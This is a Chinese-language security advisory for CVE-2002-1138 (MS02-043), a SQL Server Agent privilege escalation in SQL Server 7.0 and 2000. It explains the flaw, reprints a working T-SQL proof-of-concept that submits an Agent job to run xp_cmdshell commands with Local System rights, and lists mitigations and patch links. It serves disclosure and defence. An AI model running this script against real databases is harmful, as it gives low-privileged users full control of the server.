受影响系统:
Microsoft SQL Server 2000
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
Microsoft SQL Server 7.0
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine (MSDE) 1.0
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
Microsoft SQL Server Desktop Engine 2000
- Microsoft Windows NT 4.0
- Microsoft Windows 2000 SP3
描述:
BUGTRAQ ID: 5483
CVE ID: CVE-2002-1138
Microsoft SQL Server是微软公司开发的一套商业数据库系统,应用在Microsoft Windows系统下。SQL Server 7.0和2000带了一个助手服务 - SQL Server Agent。这个代理程序用来在数据库意外停止之后重启之,另外,它也负责处理提交的作业。
通过提交一些作业让Agent执行,可能导致低权限用户执行它们进而完全控制数据库系统。
通过msdb数据库中的一些存储过程例如sp_add_job、sp_add_job_step等等,用户就可以提交作业让SQL Server Agent执行。由于SQL Server Agent在一个更高的权限下运行,通常是Local System权限,必须保证当提交一个T-SQL作业时它不能被滥用。因此管理员可以使用如下命令来防止这种攻击:
SETUSER N'guest' WITH NORESET
这样普通的低级别用户将不能提交这样的作业(执行系统命令):
exec master..xp_cmdshell 'dir'
但这种限制很容被绕过,只需要在SQL Server Agent丢弃权限后重新连接到SQL Server即可。而结合“Microsoft SQL Server扩展存储过程权限提升漏洞”( http://www.nsfocus.com/index.php?act=sec_bug&do=view&bug_id=3313 )中提到的几个扩展存储过程即可绕过这种限制。
<*来源:David Litchfield ([email protected])
链接:http://www.ngssoftware.com/advisories/mssql-esppu.txt
http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
David Litchfield ([email protected])提供了如下测试方法:
-- GetSystemOnSQL
-- For this to work the SQL Agent should be running.
-- Further, you'll need to change SERVER_NAME in
-- sp_add_jobserver to the SQL Server of your choice
--
-- David Litchfield
-- ([email protected])
-- 18th July 2002
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL',
@enabled = 1,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = 1
EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 数据库管理员应该禁止对MSDB数据库中的下列存储过程的公开(public)访问权限:
sp_add_job
sp_add_jobstep
sp_add_jobserver
sp_start_job
厂商补丁:
Microsoft
---------
Microsoft已经为此发布了一个安全公告(MS02-043)以及相应补丁:
MS02-043:Cumulative Patch for SQL Server (Q316333)
链接:http://www.microsoft.com/technet/security/bulletin/MS02-043.asp
补丁下载:
* Microsoft SQL Server 7.0
http://www.microsoft.com/Release.asp?ReleaseID=Q327068
* Microsoft SQL Server 2000
http://www.microsoft.com/Release.asp?ReleaseID=Q316333 |